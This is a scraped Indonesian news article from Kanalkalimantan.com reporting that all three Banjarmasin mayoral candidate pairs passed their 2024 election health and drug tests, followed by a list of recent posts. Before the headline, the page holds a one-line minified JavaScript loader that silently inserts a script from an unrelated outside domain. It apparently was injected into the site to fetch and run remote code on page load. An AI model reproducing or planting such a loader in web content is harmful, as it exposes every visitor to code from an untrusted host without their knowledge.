(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Tiga Paslon Pilwali Banjarmasin Dinyatakan Sehat


KANALKALIMANTAN.COM, BANJARMASIN – Hasil pemeriksaan tiga pasangan bakal calon wali kota dan wakil wal ikota Banjarmasin sudah keluar.

Baik pasangan Yamin-Ananda, Mukhyar-Awan Subarkah, maupun Arifin Noor-M Supian Akbari dinyatakan sehat.

“Semuanya sehat jasmani, rohani dan tidak terindikasi adanya penyalahgunaan narkotika,” ungkap Ketua KPU Banjarmasin Rusnailah kepada Kanalkakimantan.com, Jumat (6/9/2024).

“Sehingga semuanya mendapatkan kesimpulan mampu melaksanan tugas dan kewajiban sebagai wali kota wakil wali kota berdasarkan hasil pemeriksaan kesehatan,” sambungnya.

Baca juga: Kadisdikbud Kalsel Masih Tak Kunjung Muncul ke Publik

Sebelumnya ketiga paslon Pilwali Banjarmasin telah melaksanakan serangkaian tes kesehatan di Rumah Sakit Umum Daerah (RSUD) Ulin Banjarmasin.

Mereka diperiksa oleh tim dokter rumah sakit Ulin selama dua hari Minggu (1/9/2024) dan Senin (2/9/2024).

Pemeriksaan meliputi penyakit dalam, jantung, paru, fungsi luhur, tes narkoba, kesehatan fisik hingga pemeriksaan mata. Selain itu, juga dilakukan tes psikologi dan napza.

Diketahui, pemeriksaan kesehatan merupakan salah satu syarat yang harus dijalani setiap bakal pasangan calon kepala daerah setelah resmi mendaftar sebelum ditetapkan sebagai calon.

Persyaratan menjalani pemeriksaan kesehatan diatur dalam Keputusan KPU Nomor 1090 Tahun 2024 tentang Pedoman Teknis Pemeriksaan Kesehatan dalam Pemilihan Gubernur dan Wakil Gubernur, Bupati dan Wakil Bupati, serta Wali Kota dan Wakil Wali Kota.

Baca juga: KPU Banjarbaru Beri Waktu 3 Hari Perbaikan Persyaratan Paslon

Tujuannya adalah untuk mengindentifikasi dan memastikan bahwa kandidat sehat secara jasmani maupun rohani sehingga mampu menjalankan tugas dan kewajibannya ketika terpilih.

Hasil pemeriksaan diserahkan oleh pihak rumah sakit kepada KPU untuk dijadikan acuan pada saat penetapan calon. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

6 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

7 jam ago

Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More

7 jam ago

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

8 jam ago

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

12 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

13 jam ago

This website uses cookies.